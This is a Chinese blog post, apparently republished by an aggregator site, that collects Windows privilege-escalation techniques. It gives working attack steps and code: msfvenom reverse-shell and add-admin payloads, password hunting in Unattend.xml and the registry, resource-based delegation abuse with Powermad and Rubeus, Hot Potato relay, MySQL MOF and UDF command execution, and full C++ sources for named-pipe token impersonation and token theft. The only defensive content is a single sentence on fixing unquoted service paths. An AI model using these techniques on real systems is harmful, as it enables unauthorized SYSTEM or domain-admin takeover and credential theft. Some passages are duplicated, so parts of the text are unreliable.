Windows提权方法大全汇总（值的收藏）

Posted 2021-09-09 代码熬夜敲

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了Windows提权方法大全汇总（值的收藏）相关的知识，希望对你有一定的参考价值。

一、无引号服务路径（ Trusted Service Paths ）

先说实用度，比较被动，而且比较看脸。

Windows下服务的权限通常是SYSTEM。如果我们能够替换服务的启动程序为我们的恶意程序（如反弹shell），即相当于获得了SYSTEM权限，达到了提权的目的。
无引号服务路径有可能会导致这种情况的发生。
所谓无引号服务路径，就是服务启动程序的路径中包含了空格且未被引号包含起来。比如这样

C:\\Program Files\\floder1\\service.exe

因为空格的存在，Windows在启动服务找寻服务启动项时，它会按照以下顺序进行启动项寻找

C:\\Program.exe
C:\\Program Files\\Some.exe
C:\\Program Files\\Some Folder\\Service.exe

这就给了我们有机可乘的机会：如果我们在服务的上层目录有写入或完全控制权限，我们完全可以将一个可执行文件放在Windows搜寻服务启动项的更靠前顺序上。

我们用以下命令来搜索哪些服务路径没有包含引号

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\\Windows\\\\" |findstr /i /v """

然后使用icacls命令查看在2345Explorer目录的权限如何

users组是完全控制权（F），那么我们直接用msfvenom构造一个反弹shell的exe。命名为Protect.exe，放入2345Explorer目录。我这里随便编码了一下

msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 
LPORT=10068 -f exe -o Protect.exe

msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 
LPORT=10068 -f exe -o Protect.exe

然后我们现在是没有能力重启服务的。。只能等管理员重启服务或者机子重启。然后就拿到SYSTEM权限了。但是这里还有一个坑点，这个坑点是如果一个服务启动后在一定时间内未与 Service Control Manager(SCM) 通讯，就会被停止。

所以我们要在拿到shell后及时的转移进程或者添加管理员账户。
转移进程在msf中很简单，meterpreter中先用ps查看进程，随便找一个system权限，记住其pid，然后 migrate PID 即可完成进程迁移。

下面来说说防治方法吧。进入注册表修改窗口，在 HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services 路径下找到存在漏洞的服务，修改其ImagePath，把路径前后加个引号就可了。

二、易受攻击的服务（Vulnerable Services ）

同样看脸且被动

这个攻击方法大致分两类

1.替换服务的二进制文件。这个方法较为简单，如果对服务二进制文件所在目录有修改权，那么我们完全可以创建一个恶意程序来替换原有的二进制文件服务。这个比较简单，而且基本上攻击流程和Trusted Service Paths如出一辙，同样也是比较被动地等待重启服务才能弹shell，就不再演示了。

2.修改服务的属性。如果我们能修改服务的 BINARY_PATH_NAME 属性（这个属性用于指向服务的二进制文件），我们就可以通过设置 BINARY_PATH_NAME 的值为系统命令，然后重启服务时我们的系统命令会被执行。

对于后者，我们需要一款工具来快速揭示出我们能修改哪些服务的属性。
这个工具我们采用accesschk.exe，它是微软产出的，基本不会报毒。

我们通过该工具执行以下命令

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
or
accesschk.exe -uwcqv "Users" * /accepteula
来查看Users组（根据实际情况来填哪个组）对哪些服务有哪些权限

如果对某个服务有service_all_access或者以下权限，就说明能对其属性进行修改。

比如我们对Spooler服务有service_all_access权限，我们就可以这样做。

通过修改其binPath为恶意指令，然后等待管理员重启服务，我们的恶意指令就会被执行。

三、AlwaysInstallElevated

[HKEY_CURRENT_USER\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer]
“AlwaysInstallElevated”=dword:00000001 

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer]
“AlwaysInstallElevated”=dword:00000001

那么所有msi（windows应用安装程序）都会以SYSTEM权限运行。此时如果我们执行一个恶意msi程序，即可达到提权目的

同时需要注意的一点是，这个注册表项不一定总是存在的。（比如我的实验机

我们可以通过reg query来验证这两条注册表项的情况

reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated
reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated

若均为1，我们就可以通过msfvenom生成恶意msi来提权

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

然后执行，获得一个管理员账户。

四、信息泄露

Unattend.xml sysprep.xml和sysprep.inf文件GPP.xml 存在着一定信息泄露，他们通常存在于以下路径

C:\\Windows\\Panther\\
C:\\Windows\\Panther\\Unattend\\
C:\\Windows\\System32\\
C:\\Windows\\System32\\sysprep\\

找到后，找到 Unattend.xml 文件中的标签。就有可能找到用户的加密后的密码。。

<UserAccounts>
    <LocalAccounts>
        <LocalAccount>
            <Password>
                <Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value> //PASSWORD
                <PlainText>false</PlainText>
            </Password>
            <Description>Local Administrator</Description>
            <DisplayName>Administrator</DisplayName>
            <Group>Administrators</Group>
            <Name>Administrator</Name>
        </LocalAccount>
    </LocalAccounts>
</UserAccounts>
一些敏感文件查询指令
C:\\Users\\user\\Desktop> dir C:\\ /s /b /c | findstr /sr \\*password\\*
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

五、基于资源的域委派攻击

refer:https://xz.aliyun.com/t/7454

原理的几个点：

1.S4U2SELF 协议可以在用户没有配置 TrustedToAuthenticationForDelegation 属性（即开启使用任何协议认证的约束性委派）时被调用，但是返回的ST是不可被转发的。

2.基于资源的约束性委派主机在被另一台主机委派访问时，在S4U2PROXY过程中提交过来的ST如果即使是不可转发的。KDC依旧会返回有效的ST2。

3.每个普通域用户默认可以创建至多十个机器账户（由MachineAccountQuota属性决定），
每个机器账户被创建时都会自动注册SPN: RestrictedKrbHost/domain和HOST/domain这两个SPN

攻击流程:

假设开启基于资源的约束性委派机器为A

1.首先要有一个对当前计算机有写权限的账户，才能对A设置可以被委派访问的服务账户。

2.利用当前账户创建一个机器账户，并配置好机器账户到A的基于资源的约束性委派

3.因为机器账户是我们创建的，我们知道他的密码账户，可以让它利用S4U2SELF协议获得一个不可转发ST。然后用这个不可转发ST通过S4U2PROXY，在基于资源的约束性委派基础上获得有效的访问A cifs服务的ST2。

4.用ST2访问A的CIFS服务，权限获得。

实操

这个攻击说白了就是个提权…

首先我们检查一下域控是否是win2012以上的主机，因为只有这样才能开启基于资源的约束性委派。

我们使用powersploit下的powerview脚本。执行命令 get-netdomaincontroller

可以获得域控WIN版本

然后我们查看当前用户对哪台主机有写权限。因为是实验，所以我们先来看看怎么配置一个用户对一个机器的权限。

直接在域控上找到某主机，然后进入在属性里进入安全选项卡，添加某用户，然后给这个用户分配权限即可。

我们依旧使用powerview。先调用

Get-DomainUser -Identity username -Properties objectsid

来获取当前用户SID

然后

Get-DomainObjectAcl -Identity 主机名 | ?{$_.SecurityIdentifier -match "刚刚得到的SID"}

查看当前用户对某台主机是否有写权限。

如果有 GenericAll（完全控制权），GenericWrite、WriteProperty、WriteDacl 这些属性，就说明该用户能修改计算机的账户属性。
如图看到我们对WIN7进行操作

好的，我们接下来就要创立一个机器用户了。根据网上搜索结果，使用powermad这个ps脚本可以很快捷的创建一个机器用户。https://github.com/Kevin-Robertson/Powermad

Import-Module .\\Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)

好的，我们添加了一个密码hack，名为hacksystem的机器账户，接下来就是配置hacksystem到WIN7的委派了。我们需要做的，是修改WIN7的

msDS-AllowedToActOnBehalfOfOtherIdentity

属性的值，这个操作我们用powerview实现。

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"  
#这儿的sid是我们创建的#机器用户#evilsystem的sid
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

至于机器账户SID怎么获得，powerview下的

get-domiancomputer hacksystem

然后使用

Get-DomainComputer WIN7 -Properties msds-allowedtoactonbehalfofotheridentity

查看委派是否设置成功

Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

此命令可以清除 msds-allowedtoactonbehalfofotheridentity属性的值

现在都统统设置好了，开始下一步吧。

网上一般用的rubeus，这里我用kekeo吧

Rubeus.exe hash /user:xxx /password:xxx /domain:xxx

本地运算出机器用户ntlm hash 这里借用一下别人的图

Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 
/impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt

写入票据

然后我在本机使用以上方法后klist一下，发现确实存在票据

但是dir \\test1\\c$时本机莫名其妙不能进行kerberos验证，我服了。。但不管怎样，我们拿到银票了

敏感用户不可委派的绕过

若我们的administrator用户被设置为敏感用户不可委派或者被加入保护组，按理说他的访问就不能进行委派。

我们在以administrator账户身份进行S4U时，只能进行S4U2SELF，
不能进行S4U2PROXY。我们用

Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 
/impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt

继续实验administrator，发现确实是这样

此时我们用 rubeus.exe describe /ticker:S4Ubase64加密的票据

可以发现servicename并没有指定某个服务，仅仅只有一个账户.即发生了服务名称缺失的问题。很简单，把票据修改一下就行了.网上很多说用这个工具

https://shimo.im/docs/TdpXTY6H9J8jygd8/read

但实际上rubeus也能完成票据修改

rubeus.exe tgssub /ticket:xxx /altservice:cifs/test1 /ptt

完事

六、POTATO 家族

hot potato

热土豆提权。很早前就听说过了，但一直没去了解过。前置知识是ntlm relay,可以去了解了解。potato家族有很多，hot potato只是其中一种提权方式。

我环境有问题，不能很好的复现🙃，抓包分析啥的先咕咕吧。

https://shimo.im/docs/TdpXTY6H9J8jygd8/read👈HOT POTATO技术文档，国内基本上翻译这个来的。

提权步骤大概是这个流程

1.本地nbns服务欺骗

2.wpad劫持

3.HTTP->SMB 的 ntlm relay

4.本地nbns服务欺骗

Windows域名解析规则是

本地HOST文件-》dns查询-》NBNS或者LLMNR查询

一旦本地发出NBNS查询，我们本地就可以迅速响应，啪的一下就响应了，很快啊，本地发包很快，只要发出NBNS包基本上都能被我们本地发包响应。

但是以上步骤还是有一些细节的：我们当前并非管理员权限，大几率是无法嗅探本地流量的,如果我们能够事先知道目标主机期望NBNS查询获得的主机名，我们可以伪造一个响应，对发送NBNS查询的那个主机快速的大量发送NBNS响应 .但是nbns流量包还有个叫特征码的东西，请求包和响应包的特征码必须相同，所以我们被迫发送65536个包爆破这个特征码——本地发包速度很快，本地NBNS欺骗成功率基本上在100%。

2.WPAD劫持

NBNS欺骗后我们就可以劫持WPAD的域名，把自己伪造称WPAD并返回自定义的PAC文件。意味着我们可以把本地发出的所有流量重定向。

3.RELAY

NBNS欺骗后我们就可以劫持WPAD的域名，把自己伪造称WPAD并返回自定义的PAC文件。意味着我们可以把本地发出的所有流量重定向。

3.RELAY

在现在这个年代，SMB->SMB的relay很少用到了，微软禁用了同协议的NTLM认证，成功率很低。
但是HTTP->SMB的relay还是有的。HOT POTATO就是利用的这一点。
我们可以把主机发出的HTTP请求重定向到我们自定义的网页A，而网页A需要NTLM认证，我们就可以进行HTTP->SMB的relay’了。当HTTP请求来自于高权限的账户时，例如是来自windows 更新服务的请求，命令就会以”NT AUTHORITY\\SYSTEM”权限运行。

HOT POTATO 根据Windows版本的不同，需要等待高权限用户NTLM认证来到的时间也不同。一般来说，
WIN7是瞬间就可以提权的
Windows Server 2012 R2,Windows Server 2012,Windows 8.1,Windows 8有一个自动更新机制，会每天下载证书信任列表(CTLs)
,etc

七、mysql下的提权技术

MOF提权

在c:/windows/system32/wbem/mof/目录下的nullevt.mof每分钟都会有一个特定的时间去执行一次（由”And TargetInstance.Second = 5″;控制，这里输入5就是每分钟的第五秒执行。那么把cmd命令添加到nullevt.mof中，cmd命令就会自动执行了。

前提是我们要能进入数据库进行操作，且mysql数据库的权限尽可能高才更有利。同时secure-file-priv 要为空（ mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,禁止所有文件导入导出功能）

我们伪造的MOF文件格式如下

#pragma namespace("\\\\\\\\.\\\\root\\\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\\\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \\"Win32_LocalTime\\" " 
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\\"WScript.Shell\\")\\nWSH.run(\\"net.exe user admin admin /add\\")"; //修改此处即可
};

instance of __FilterToConsumerBinding
{
    Consumer = $Consumer;
    Filter = $EventFilter;
};

修改上面的cmd部分即可实现以管理员身份执行各种命令。

然后我们使用mysql下的命令，将mof覆盖过去。

待我们的命令被执行后，即代表提权成功。

Windows 2003似乎成功率蛮高的，WIN7试了试没反应。。。

UDF提权

（这个也可以linux提权

udf，即自定义函数（user define function）

MYSQL可以自定义函数的。自定义函数在Windows下是以DLL文件存在于MYSQL的插件文件夹里面的（linux则是以os的形式）。我们可以自定义一个恶意dll，里面存放着可以执行系统命令的函数。然后交给mysql以数据库权限执行。

前提：我们能操作数据库，且数据库权限必须很高（我们用这个方法提权到的权限就是数据库的权限

那么这个dll文件哪里来呢。sqlmap和msf都有。sqlmap下的 sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ 就是这个dll文件的编码版本。我们使用sqlmap下的sqlmap/extra/cloak/cloak.py对其进行解码获得dll文件。

python ./cloak.py -d -i ./lib_mysqludf_sys.dll_ 即可获得dll文件

然后我们把dll文件放入mysql的插件文件夹，命名为udf.dll。插件文件夹可以通过命令

show variables like "%plugin%";获得 （/lib/plugin文件夹需要自己创建）

至于怎么把dll放入插件文件夹

1.直接粘贴复制（权限可能不够

2.使用命令 select load_file(‘udf.dll’) into dumpfile “PLUGIN的路径”;(需要secure_file_priv为空

总之，如果把udf.dll放入plugin文件夹后，我们就可以执行以下操作提权了。

create funtion sys_eval returns string soname "udf.dll";
select sys_eval('cmd');

启动项提权

说白了，就是通过mysql的高权限，向windows开机启动项文件夹里放入恶意vbs或者bat脚本,机器重启后自动执行。怎么让机器重启？等管理员或者一些可导致服务器蓝屏的EXP

C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动

C:\\Users\\username\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup

select load_file("xxx") into dumpfile "xxxx";

没什么好说的

八、命名管道提权

提权方式为令牌模仿。Token Impersonation .

meterpreter的getsystem的提取方法之一就是这个方法

提权过程为从administrator用户提到SYSTEM权限。从普通用户提权到admin及以上权限是不可取的，因为普通用户创建的命名管道没有 SeImpersonatePrivilege，在复制令牌时会出现1346错误。

该方法技术细节为：以管理员权限创建一个命名管道，再通过创建SYSTEM权限服务，让服务连上命名管道，随后我们通过模拟客户端，获得SYSTEM权限的令牌，随后将其复制，再用复制后的令牌创建新进程（如CMD)，新进程的权限即SYSTEM权限。

这里贴上实现代码.
首先是被创建的服务的实现代码，该服务启动后会不断向服务器命名管道建立链接
生成好后，是Service.exe

#include<Windows.h>
#include<iostream>
SERVICE_STATUS m_ServiceStatus;
SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
BOOL bRunning;
void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
void WINAPI HandlerFunc(DWORD code);
int main() {
  WCHAR Servicename[] = L"ServiceA";
  SERVICE_TABLE_ENTRY Table[] = { {Servicename,ServiceMain},{NULL,NULL} };
  StartServiceCtrlDispatcher(Table);
}

void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) {


  m_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
  m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
  m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
  m_ServiceStatus.dwWin32ExitCode = 0;
  m_ServiceStatus.dwServiceSpecificExitCode = 0;
  m_ServiceStatus.dwCheckPoint = 0;
  m_ServiceStatus.dwWaitHint = 0;

  m_ServiceStatusHandle = RegisterServiceCtrlHandler(L"ServiceA", HandlerFunc);
  m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
  m_ServiceStatus.dwCheckPoint = 0;
  m_ServiceStatus.dwWaitHint = 0;
  SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
  bRunning = true;
  while (bRunning) {
  LPCWSTR PipeName = L"\\\\\\\\.\\\\pipe\\\\testpipe";
  HANDLE PipeHandle=NULL;
  BOOL PipeInstance;
  WCHAR message[512] = { 0 };
  DWORD bytesWritten = 0;
  BOOL Flag = true;
  wchar_t message2[] = L"HELL";
  DWORD messageLength = lstrlen(message2) * 2;
  do {
    PipeHandle = CreateFile(PipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
  } while (PipeHandle == INVALID_HANDLE_VALUE);

  WriteFile(PipeHandle, &message2, messageLength, &bytesWritten, NULL);

  Flag = ReadFile(PipeHandle, &message, 512, &bytesWritten, NULL);
  std::cout << "Message:" << message << std::endl;
  }
}

void WINAPI HandlerFunc(DWORD code) {
  switch (code) {
  case SERVICE_CONTROL_PAUSE:
    m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
    break;
  case SERVICE_CONTROL_CONTINUE:
    m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    break;
  case SERVICE_CONTROL_STOP:
    m_ServiceStatus.dwWin32ExitCode = 0;
    m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
    m_ServiceStatus.dwCheckPoint = 0;
    m_ServiceStatus.dwWaitHint = 0;

    SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
    bRunning = false;
    break;
  case SERVICE_CONTROL_INTERROGATE:
    break;
  }

然后是主体，命名管道服务器。生成后是Server.exe

#include<Windows.h>
#include<iostream>

int main() {
  LPCWSTR pipeName = L"\\\\\\\\.\\\\pipe\\\\testpipe";
  LPVOID pipeBuffer = NULL;
  HANDLE serverPipe;
  DWORD readBytes = 0;
  DWORD readBuffer = 0;
  int err = 0;
  BOOL isPipeConnected;
  BOOL isPipeOpen;
  wchar_t message[] = L"HELL";
  DWORD messageLenght = lstrlen(message) * 2;
  DWORD bytesWritten = 0;
  WCHAR message2[512] = { 0 };
//Open a Named Pipe,Wait for a connection
  std::wcout << "Creating named pipe " << pipeName << std::endl;
  serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);

//Create a service of system to connect to our NamedPipe.

  char servicename[] = "Service.exe";
  char servicepath[_MAX_PATH];
  SERVICE_STATUS status;
  GetModuleFileNameA(LoadLibraryA(servicename), servicepath, sizeof(servicepath));
  SC_HANDLE scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
  if (GetLastError() == 0) {

  }
  else {
    std::cout << "ERROR OpenSCManager:" << GetLastError() << std::endl;
  }
  SC_HANDLE scService = CreateServiceA(scManager, servicename, servicename,
    SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
    servicepath, NULL, NULL, NULL, NULL, NULL);
  if (!scService) {
    if (GetLastError() == 1073) {
      std::cout << "The Service has been exsisted" << std::endl;
    }
    else {
      std::cout << "ERROR CreateServiceA:" << GetLastError() << std::endl;
    }
  }
  SC_HANDLE scServiceA = OpenServiceA(scManager, servicename, SERVICE_ALL_ACCESS);
  if (StartService(scServiceA, 0, NULL)) {
    std::cout<<"service Start success"<<std::endl;
  }
  else {
    if (GetLastError() == 1056) {
      std::cout << "service is running,don't need to start again" << std::endl;
    }
  }
//Connect !
  isPipeConnected = ConnectNamedPipe(serverPipe, NULL);

  if (isPipeConnected) {
    std::wcout << "Incoming connection to " << pipeName << std::endl;
    ReadFile(serverPipe, &message2, 512, &bytesWritten, NULL);
    std::cout << message2;
  }
  else {
    std::cout << "Does not connected Error: "<<GetLastError() << std::endl;
  }

  std::wcout << "Sending message: " << message << std::endl;
  WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
//Toekn Impersonation
  std::wcout << "Impersonating the client..." << std::endl;
  if (!ImpersonateNamedPipeClient(serverPipe)) {
    std::cout<<"ImpersonateNamedPipeClient ERROR: "<<GetLastError()<<std::endl;
  }
  else {
  std::cout << "ImpersonateNamedPipeClient success" << std::endl;
  }

  STARTUPINFOA si;
  PROCESS_INFORMATION pi = {};
  ZeroMemory(&pi, sizeof(pi));
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  HANDLE token;
  if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
    std::cout << "GetCurrentThread ERROR:" << GetLastError() << std::endl;
  }

  CHAR command1[] = "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe";
  WCHAR command2[] = L"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe";
  HANDLE Token;
  if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenImpersonation,&Token)) {
    std::cout << "DuplicateTokenEx ERROR:" << GetLastError() << std::endl;
  }
  else {
    std::cout << "Impersonate completed" << std::endl;
  }
  if (!CreateProcessAsUserA(token, NULL, command1, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
    std::cout << "CreateProcessAsUserA ERROR:" << GetLastError() <<" Now Use CreateProcessWithTokenW"<< std::endl;
    if (!CreateProcessWithTokenW(token, LOGON_NETCREDENTIALS_ONLY, NULL, command2, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
      std::cout << "CreateProcessWithTokenW ERROR:" << GetLastError() << std::endl;
    }
    else {
      std::cout << "CreateProcessWithTokenW success" << std::endl;
    }
  }
  else {
    std::cout << "CreateProcessWithTokenW success" << std::endl;
  }

  while(1){}
}

我们生成了Service.exe,然后把他移到Server.exe同级目录，以管理员权限运行Server.exe,即可达到admin-》system的提权。

程序写了四天终于写好了。。WIN7下可以实现完美提权。
项目地址:https://shimo.im/docs/TdpXTY6H9J8jygd8/read

令牌窃取

SYSTEM->本机上其他用户（包括域用户）(好家伙，只要本机有system权限，域管敢在本机上创建进程就直接能拿到域管权限）或者admin获取debug权限后去获取SYSTEM权限（这里有一个细节点，只有owner为administrator的SYSTEM进程才能被利用，比如lsass，dllhost)

技术细节:通过寻找高权限开启的进程，再复制其令牌用以创建新进程，即可达到提权目的

#include <iostream>
#include <Windows.h>


//Only administrator can get debug priv
BOOL GetDebugPriv() {
  HANDLE Token;
  TOKEN_PRIVILEGES tp;
  LUID Luid;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token)) {
    std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
    return false;
  }

  tp.PrivilegeCount = 1;
  tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) {
    std::cout << "LookupPrivilegeValue ERROR" << GetLastError() << std::endl;
    return false;
  }
  tp.Privileges[0].Luid = Luid;
  if (!AdjustTokenPrivileges(Token, FALSE, &tp, sizeof(tp), NULL, NULL) ){
    std::cout << "AdjustTokenPrivileges ERROR" << GetLastError() << std::endl;
    return false;
  }
  if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
    return false;
  }
  else {
    return true;
  }
}



int main(int argc, char* argv[]) {
  HANDLE t_process;
  HANDLE token = NULL;
  HANDLE token_bak = NULL;
  DWORD process_id;
  sscanf_s(argv[1], "%ul", &process_id);
  WCHAR command[] = L"C:\\\\Windows\\\\System32\\\\cmd.exe";
  STARTUPINFO startupInfo;
  PROCESS_INFORMATION processInformation;
  ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
  ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
  startupInfo.cb = sizeof(STARTUPINFO);
  std::cout << argv[1] << std::endl;
  std::cout << "Openning process PID:" << process_id << std::endl;
  if (GetDebugPriv()== TRUE) {
    std::cout << "Got the debug priv" << std::endl;
  }
  else {
    std::cout << "GetDebugPriv ERROR" << std::endl;
  }
  system("whoami /priv");
  t_process = OpenProcess(PROCESS_ALL_ACCESS, true, process_id);
  if (!t_process) {
    std::cout << "OpenProcess ERROR" << GetLastError() << std::endl;
  }
  if (!OpenProcessToken(t_process, TOKEN_ALL_ACCESS, &token)) {
    std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
  }

  if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &token_bak)) {
    std::cout << "DuplicateTokenEx ERROR" << GetLastError() << std::endl;
  }
  if (!CreateProcessWithTokenW(token_bak, LOGON_WITH_PROFILE, NULL, command, 0, NULL, NULL, &startupInfo, &processInformation)) {
    std::cout << "CreateProcessWithTokenW ERROR" << GetLastError() << std::endl;
  }
  return 0;
}

这是在win7下的测试结果 const\\administrator 是域控